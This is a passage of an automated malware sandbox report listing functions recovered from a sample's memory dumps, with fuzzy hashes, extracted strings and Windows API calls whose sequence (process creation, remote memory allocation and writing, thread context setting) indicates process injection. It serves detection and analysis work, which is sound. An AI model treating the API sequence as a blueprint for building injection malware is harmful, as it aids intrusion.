Opcode Fuzzy Hash: 1145ac9640447cbfc126089e8811ce4f8a6a13a6644bc3932afb4daef40da4d3
Instruction Fuzzy Hash: 7FA13474E04218CFDB14CFA9D485BAEBBF2BB49304F5088AAD409AB355DB745D85CF00

Function 05CC142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65a4a091330ff0c8a8e32503d79944e0afea9ef78275bea18f11f8db63334eb3
Instruction ID: 6061ce1593e358f8b6aeb2248a59b5e4e53fe3dad855356ded736f485eecab8b
Opcode Fuzzy Hash: 65a4a091330ff0c8a8e32503d79944e0afea9ef78275bea18f11f8db63334eb3
Instruction Fuzzy Hash: 2132B274A042298FCB65DF29C984BA9BBF6FB48300F1485D9E90DA7355DB30AE85CF44

Function 05CC0019 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 910e40faa8f8f96ab28255ea61d5db8812eccc3f5a61285cc4af4cab2dd5add3
Instruction ID: 0b9b0bc811540b15d90188688afbb0b94574fcd645a781a09954efc82a44bb0f
Opcode Fuzzy Hash: 910e40faa8f8f96ab28255ea61d5db8812eccc3f5a61285cc4af4cab2dd5add3
Instruction Fuzzy Hash: 1851EAB1E046588BDB19CF6BC94469EFBF3AFC9300F18C1BAD508AA255DB340A85CF54

Function 05C40048 Relevance: 6.8, Strings: 4, Instructions: 1815COMMON

Download Yara Rule

Strings

4'kq, xrefs: 05C41549
D (s, xrefs: 05C40D21
D (s, xrefs: 05C40811
4'kq, xrefs: 05C41559

Memory Dump Source

Source File: 00000003.00000002.2051836444.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5c40000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$D (s$D (s
API String ID: 0-3564951440
Opcode ID: 22a5644d1884f1ff0f11973727314e9ab24a5234a0ec0a184a2f90e5efac2fae
Instruction ID: 662346246dc6924c2a0e67832f460d22ce02129a4025ff35a300fcc7bda28b50
Opcode Fuzzy Hash: 22a5644d1884f1ff0f11973727314e9ab24a5234a0ec0a184a2f90e5efac2fae
Instruction Fuzzy Hash: B3F2E270949388DFDB16CBA4CC59FAE7FB5BF06300F18849AE141AB2A2C7785945CF61

Function 05CCD7E0 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 05CCDB59
4'kq, xrefs: 05CCD9FA
4'kq, xrefs: 05CCDAD9

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq
API String ID: 0-2478202913
Opcode ID: fde774a2c06488e2877528491dd535e84a7d12344e0664009af0a87b082111cd
Instruction ID: b910440e3bfdb0e1f8e400fd2c64e876791aa00c3773ddc71dfcadd6016b2ae1
Opcode Fuzzy Hash: fde774a2c06488e2877528491dd535e84a7d12344e0664009af0a87b082111cd
Instruction Fuzzy Hash: 06F19C34A10258DFCB14DFA4D994A9DBBB2FF88310F158569E406AB365DB71EC82CB90

Function 05E3E519 Relevance: 3.0, Strings: 2, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 05E3E843
$kq, xrefs: 05E3E833

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: e4c543d2bb3c9d06b48b825538128cf913fefc069945071ae92ce3bb9dd70d1a
Instruction ID: 6279f22955937dce96c9de5a869e1c9554b478e3ad94dfaf87230c4ae57d28c8
Opcode Fuzzy Hash: e4c543d2bb3c9d06b48b825538128cf913fefc069945071ae92ce3bb9dd70d1a
Instruction Fuzzy Hash: D7128B34E14219CFDB15DFA5D889AADBBB6FF48304F148454E892AB394DB349E42CF90

Function 05C418C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 05C41D66
4'kq, xrefs: 05C41D56

Memory Dump Source

Source File: 00000003.00000002.2051836444.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5c40000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 3db149ae39d5284c23b7fdef8a7fb91525115c3287f575be3469b9f754e3dab4
Instruction ID: 40285ba92d3c6b6f6c82a48c8cd7dfaaaa08f14b2ba2506636e11c6e4c332903
Opcode Fuzzy Hash: 3db149ae39d5284c23b7fdef8a7fb91525115c3287f575be3469b9f754e3dab4
Instruction Fuzzy Hash: 71F1E374E05208DFCB14DFE5E888AACBBB2FF49311F24456AE846A7390DB756985CF40

Function 05C41598 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 05C41888
4'kq, xrefs: 05C41878

Memory Dump Source

Source File: 00000003.00000002.2051836444.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5c40000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq
API String ID: 0-4171853269
Opcode ID: 532171de2329a2e5a9c6900ca57dc7ac097f25b19b765c1135d0b276abf303a7
Instruction ID: d485ebff64f1dffaf01657fa02c400a12168d9b12085c8db284175bd04d1157c
Opcode Fuzzy Hash: 532171de2329a2e5a9c6900ca57dc7ac097f25b19b765c1135d0b276abf303a7
Instruction Fuzzy Hash: DFA1C174E00209CFCB19DFA5D448AEEBBB2FF49301F188869D456A7394CB799986CF50

Function 05E3A658 Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

Hoq, xrefs: 05E3A7BC
(oq, xrefs: 05E3A790

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: (oq$Hoq
API String ID: 0-3084834809
Opcode ID: 95d2456cab178a4ebb56cc043692ae4bbdd7b93836d6c9a288867e246c5a3b0f
Instruction ID: ce0f3604a114c75ccaca31d2ee6e93d33686b8ad7b64c0fe91ef1cc35ce65a24
Opcode Fuzzy Hash: 95d2456cab178a4ebb56cc043692ae4bbdd7b93836d6c9a288867e246c5a3b0f
Instruction Fuzzy Hash: 7451EC712047408FD3219F7AC44471ABBF2BF80350F158A7AD08ACB7A6EA34D989CB50

Function 05E3ECE8 Relevance: 2.6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

$kq, xrefs: 05E3ED4F
$kq, xrefs: 05E3ED3F

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: fcc34a6affba393a19d63a6ef2d71a5cbc47a081275f27b5acc106b7ea52c6b4
Instruction ID: 7417fe521442ba3b36291725542ab20b9a74148ada9c130de1ffc188ee2eb286
Opcode Fuzzy Hash: fcc34a6affba393a19d63a6ef2d71a5cbc47a081275f27b5acc106b7ea52c6b4
Instruction Fuzzy Hash: A411C471604209DFEB24CE69D449BE9BBFEBF00314F6444A6D445DB3A0D735E980CB50

Function 05E33C38 Relevance: 2.5, Strings: 2, Instructions: 32COMMON

Download Yara Rule

Strings

d, xrefs: 05E33C72
u, xrefs: 05E31550

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: d$u
API String ID: 0-1629019899
Opcode ID: 223a6a170b4978b674d1f9e312392064cf4f934619419d7e84ac2a5bac59f26f
Instruction ID: 99c574cf13a00cf50bfe30290736454134594f232d8d047dc0e3298a1c347e7d
Opcode Fuzzy Hash: 223a6a170b4978b674d1f9e312392064cf4f934619419d7e84ac2a5bac59f26f
Instruction Fuzzy Hash: B6119274D09368CFEB25DF24D84D7DABBB1BB0930AF0466DAD449A6290D7744E84CF01

Function 05C40001 Relevance: 2.5, Strings: 1, Instructions: 1279COMMON

Download Yara Rule

Strings

4'kq, xrefs: 05C41549

Memory Dump Source

Source File: 00000003.00000002.2051836444.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5c40000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq
API String ID: 0-3255046985
Opcode ID: ae9b8db225bdcc8bc6fa56ce5e8cc7af48ea5a471b93f467735df15c185748e6
Instruction ID: 941d992c2f1d837db85ff5a7c62f7c8df9110d86b275672fd8f2a3349a9c80c3
Opcode Fuzzy Hash: ae9b8db225bdcc8bc6fa56ce5e8cc7af48ea5a471b93f467735df15c185748e6
Instruction Fuzzy Hash: 25B28A7054E385AFD7178B788C59B9A3F74AF03304F1984DAE180AF2E3C6785949CB62

Function 05CC640B Relevance: 2.5, Strings: 2, Instructions: 21COMMON

Download Yara Rule

Strings

L, xrefs: 05CC645F
9, xrefs: 05CC6433

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: 9$L
API String ID: 0-1517939472
Opcode ID: 509b6ad9ef1a05b3101297b3ee903a284597211d943b5ce65bcd2d8ba9b208f7
Instruction ID: 89f34d3f341c037547b77892f4e995a4efa17ef7d02240393c82ffe1716ffac0
Opcode Fuzzy Hash: 509b6ad9ef1a05b3101297b3ee903a284597211d943b5ce65bcd2d8ba9b208f7
Instruction Fuzzy Hash: 07F062B09012288FDB60DFA8C898BDCBAB0FB09311F1419EAD809B2240D7755E80CF54

Function 05CCE6C0 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,oq, xrefs: 05CCEA3B

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: ,oq
API String ID: 0-651702701
Opcode ID: 7e8ded4c70edbf84a045be65dc27aa494014b1d35e08e981dd4925ba897225a8
Instruction ID: dbb6959677693c40896269743fa31406df62d8ddd0b48fc0686b471af4f7aa5b
Opcode Fuzzy Hash: 7e8ded4c70edbf84a045be65dc27aa494014b1d35e08e981dd4925ba897225a8
Instruction Fuzzy Hash: 23521B75A002288FDB65CF69C981BEDBBF6BF89300F1544D9E509A7391DA309E84CF61

Function 05DE049D Relevance: 1.8, APIs: 1, Instructions: 263processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05DE070F

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e0d5944ee5d9f737bd6080a0610cad0707d82b2949fb41f63c23eb881da0ea19
Instruction ID: 25cc25012c8011a6e4fb8c70ff741ad48de21d5c175a61fa0645bfff75d4d458
Opcode Fuzzy Hash: e0d5944ee5d9f737bd6080a0610cad0707d82b2949fb41f63c23eb881da0ea19
Instruction Fuzzy Hash: FDA115B0D00259CFDB10DFA9C849BEEBBF1BF49300F14916AE859A7240DBB48985CF55

Function 05DE04A8 Relevance: 1.8, APIs: 1, Instructions: 261processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05DE070F

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ea1a7421b3dc25ffd44a6125ba8eb5e05bef60f0cf22167114f00f566fa0f29e
Instruction ID: ef0aa09dd3a0ae8b542c554ad6aca051c1b67d177ab46bdee5559a0e05957c34
Opcode Fuzzy Hash: ea1a7421b3dc25ffd44a6125ba8eb5e05bef60f0cf22167114f00f566fa0f29e
Instruction Fuzzy Hash: 00A113B0D00258CFDB10DFA9C849BEEBBF1BB49310F14916AE859A7240DBB48985CF95

Function 05CCF500 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

$kq, xrefs: 05CCF68F

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: $kq
API String ID: 0-3037731980
Opcode ID: 1ed275c7af0b602ee16d75d51e7ef3b0f1de8c9f98aafdcb7745dbd6f4d21abb
Instruction ID: ce33a2957d76ef791942c96e3938b46273cb9e3291c5e15b821bfd2fd2d4206c
Opcode Fuzzy Hash: 1ed275c7af0b602ee16d75d51e7ef3b0f1de8c9f98aafdcb7745dbd6f4d21abb
Instruction Fuzzy Hash: 69E1BC707142068FDB159FA9C49576ABEF3AF84300F1848AEE986CB3D2EA34C9C5C755

Function 05DE0F19 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DE0FF3

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 717cc14d691a4837e1dcee7556c36130cb037f9f586a674301f5622cf3297fc6
Instruction ID: c4b6d332eb7d3b8e222866116785873ca828156ed852cf8725ff8eaaa6698a2f
Opcode Fuzzy Hash: 717cc14d691a4837e1dcee7556c36130cb037f9f586a674301f5622cf3297fc6
Instruction Fuzzy Hash: 4C41A8B5D01258DFCF00DFA9D984ADEBBF1BB49310F20942AE819B7210D779AA45CB64

Function 05DE0F20 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05DE0FF3

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dc6d4bab0b07cd09cbbf1a9f892fff12fe0247f49947ce529b80e546cc06cc94
Instruction ID: 4488a96bf9894dd60794fe007e60a18432e12b944360bd356424d224a900e549
Opcode Fuzzy Hash: dc6d4bab0b07cd09cbbf1a9f892fff12fe0247f49947ce529b80e546cc06cc94
Instruction Fuzzy Hash: E041A9B4D01258DFCB00DFA9D984ADEFBF1BB49310F20942AE819B7210C738AA45CF64

Function 05DE0DB9 Relevance: 1.6, APIs: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05DE0E6A

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ce23d20928f48a45195246033d418854b56499d6007450267bfbcdc384c379d3
Instruction ID: ee8452d037ac2ad94165f959a874d268fb98d9e563eda5f4eed76d4846344cea
Opcode Fuzzy Hash: ce23d20928f48a45195246033d418854b56499d6007450267bfbcdc384c379d3
Instruction Fuzzy Hash: 7331A6B9D04258DFCF10CFA9D984ADEBBB1BB09320F10A42AE815B7210D735A941CF68

Function 05DE0DC0 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05DE0E6A

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4cacb06a6c28521efac81d52fd66d9f6840f4280fc55932ca36418e59e8b831d
Instruction ID: ce0341446c4ca001962a0013f2f44d936791330d8c3e85fdb03769142dad058f
Opcode Fuzzy Hash: 4cacb06a6c28521efac81d52fd66d9f6840f4280fc55932ca36418e59e8b831d
Instruction Fuzzy Hash: 3C3197B8D04258DFCF10DFA9D984ADEFBB5BB49320F10942AE815B7210D735A945CF68

Function 05DE1409 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05DE14B4

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 5f35801eafa7ca612f7725d549954609b4f4ae5bbea96fc3ea69f08ee4eb58ee
Instruction ID: 34d5ee055e71d6ce82b889aff447eb2a09dc04445f358495c715eb7907d32524
Opcode Fuzzy Hash: 5f35801eafa7ca612f7725d549954609b4f4ae5bbea96fc3ea69f08ee4eb58ee
Instruction Fuzzy Hash: DB31D9B5D00258DFCB10DFEAD984AEEFBB1AB09320F24942AE815B7210D734A945CF58

Function 05DE1410 Relevance: 1.6, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05DE14B4

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1e16ad29707beef1c0266bb86eb92853f361428cea78fceb74ae2794cdd2ce17
Instruction ID: d622eaa9c3f87739a0c9c58fc1ef19310738b4bc4b772bd847a8443e2665842a
Opcode Fuzzy Hash: 1e16ad29707beef1c0266bb86eb92853f361428cea78fceb74ae2794cdd2ce17
Instruction Fuzzy Hash: F831CAB4D04258DFCB10DFEAD984AEEFBB1BB09310F10942AE815B7210D735A945CF54

Function 05EAD730 Relevance: 1.6, APIs: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 05EAD7D4

Memory Dump Source

Source File: 00000003.00000002.2052912902.0000000005EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5ea0000_ijohw.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: ada02c648696cd4a43c4842527dc52cbf8a7d0b9289eb0203f0c50e259cbedd9
Instruction ID: a005e271b4530790702932c69a2de9a1d4acf18c975ca4218b1f0bf2f70dbabb
Opcode Fuzzy Hash: ada02c648696cd4a43c4842527dc52cbf8a7d0b9289eb0203f0c50e259cbedd9
Instruction Fuzzy Hash: 9A31A8B5D002589FCF14CFA9D980ADEFBB5BB49310F10A42AE855B7210D735A945CF94

Function 05DE0860 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05DE090F

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: be288af1a80ea2cc362a23ef93e3c8040c62af8cd4cd5ed83d7ead81f31816af
Instruction ID: 43a4ee3b65aeaf677f1db752cd45db0845c290a0766afb599b1dbd8e651fe55b
Opcode Fuzzy Hash: be288af1a80ea2cc362a23ef93e3c8040c62af8cd4cd5ed83d7ead81f31816af
Instruction Fuzzy Hash: FE31DBB4D00258DFDB10DFAAD884AEEFBF1BB49310F24802AE445B7200D778A985CF94

Function 05DE0858 Relevance: 1.6, APIs: 1, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 05DE090F

Memory Dump Source

Source File: 00000003.00000002.2052492599.0000000005DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5de0000_ijohw.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7cb815dbed1d22f57092cc249cae02804c1f505713b6c3cca2fc9df09314e6d2
Instruction ID: 9afc87104f0bc2ffdee9c1072d8ac2860f0f427cdf8ddaf64c85208e6d6438e9
Opcode Fuzzy Hash: 7cb815dbed1d22f57092cc249cae02804c1f505713b6c3cca2fc9df09314e6d2
Instruction Fuzzy Hash: 8441CAB5D01258DFDB10DFA9D984AEEBBF1BB48310F24802AE449B7200D778A989CF54

Function 05CFCD88 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 05CFCE22

Memory Dump Source

Source File: 00000003.00000002.2052325654.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_ijohw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5bfc7ed58a7f8ba58937bbb7cf683e0e1039654f3deb5f89b59d135eef01cf5e
Instruction ID: 7b053a85a8f4e1d3b5724f2955d1c6aecafeb1fe3be93251732ed50eebd29bb5
Opcode Fuzzy Hash: 5bfc7ed58a7f8ba58937bbb7cf683e0e1039654f3deb5f89b59d135eef01cf5e
Instruction Fuzzy Hash: 9A31EDB5D05218DFCB10CFA9D980AEEFBF5BB49310F10942AE805B7250C734A945CF94

Function 05CFCD90 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

SleepEx.KERNELBASE(?,?), ref: 05CFCE22

Memory Dump Source

Source File: 00000003.00000002.2052325654.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cf0000_ijohw.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9f5a0e31a7736b1983ae75dbca080e08f325fb2e86f72f21b4a9b1f903a0e700
Instruction ID: ecf39496f88f0f74daca702a062fd1621db0580c04a0fbe652d79a0d255679fb
Opcode Fuzzy Hash: 9f5a0e31a7736b1983ae75dbca080e08f325fb2e86f72f21b4a9b1f903a0e700
Instruction Fuzzy Hash: F431DBB4D05258DFCB10CFAAD980ADEFBF5BB49310F10942AE855B7210C734A945CF94

Function 05CCD7D1 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

4'kq, xrefs: 05CCD9FA

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: 4'kq
API String ID: 0-3255046985
Opcode ID: 654b1ea8d9bb44385a42851921e6aa38b129e0b5c6599b2e87c2694c2c627f0a
Instruction ID: 8fab38cb8384b11827e04f051107a7d95d24d0cba12b7d80818400e0631c6d64
Opcode Fuzzy Hash: 654b1ea8d9bb44385a42851921e6aa38b129e0b5c6599b2e87c2694c2c627f0a
Instruction Fuzzy Hash: 31A1D034A10258DFCB04DFA4D894A9DBBB2FF88310F158569E406AB365DF70EC82CB90

Function 05E3AC10 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

(oq, xrefs: 05E3AC84

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-3175707579
Opcode ID: c86b65f369c25a05535889f2f697c50d4320aa8b4d0afe57a788dc61c7fb3b2b
Instruction ID: c5407d001a9d02e636695239f7d8e210461630d17a2cc343dd054df4af2fe436
Opcode Fuzzy Hash: c86b65f369c25a05535889f2f697c50d4320aa8b4d0afe57a788dc61c7fb3b2b
Instruction Fuzzy Hash: 7B512375A006168FCB00CF28C48897AFBB1FF85314B5A96A6E555DB391D730FC82CB90

Function 05E39C50 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

poq, xrefs: 05E39D00

Memory Dump Source

Source File: 00000003.00000002.2052616275.0000000005E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e30000_ijohw.jbxd

Similarity

API ID:
String ID: poq
API String ID: 0-1570044193
Opcode ID: 5f07b6d8e026572b4df710142bc8ac4ac9dbd1197154a6dc0d71359cb48074b2
Instruction ID: cfcd30cbad98fa5f6a3ac579785e3fb9f9a38c21a6a625449b3c4f093a07e2e6
Opcode Fuzzy Hash: 5f07b6d8e026572b4df710142bc8ac4ac9dbd1197154a6dc0d71359cb48074b2
Instruction Fuzzy Hash: 73513A76600104AFCB459FA8C945D69BBF7FF8C31471A80D8E2099B376DA36DC22EB51

Function 05CC2289 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

TJpq, xrefs: 05CC235A

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: TJpq
API String ID: 0-270235555
Opcode ID: a3f1bae4b4ba2fa7fca693dd8196b38bc65d865ff25f9f1193bdf1e466aea9ca
Instruction ID: 0bc43a4ed094da296378b40bdd8f6d273048f8f1f49dfb255cb6238d2a22ccf3
Opcode Fuzzy Hash: a3f1bae4b4ba2fa7fca693dd8196b38bc65d865ff25f9f1193bdf1e466aea9ca
Instruction Fuzzy Hash: 9951C3B8D04208DFDB44DFA9E888AEDBBF2BF88310F54846AE416A7354DB745A45CF50

Function 05CC2298 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

TJpq, xrefs: 05CC235A

Memory Dump Source

Source File: 00000003.00000002.2052058682.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5cc0000_ijohw.jbxd

Similarity

API ID:
String ID: TJpq
API String ID: 0-270235555
Opcode ID: 3c0cb885049723b0ca3497d2830cb5366a20d72684f5800ae617195077961369
Instruction ID: 72436749efc6f0439025ddab2701c6d1b6dbb1bc4afd3e188e822f9dd24e48e4
Opcode Fuzzy Hash: 3c0cb885049723b0ca3497d2830cb5366a20d72684f5800ae617195077961369
Instruction Fuzzy Hash: 5141E2B8D04208DFCB44DFA9E488AEDBBF6BF88310F1484AAE416A7354DB345A45CF50

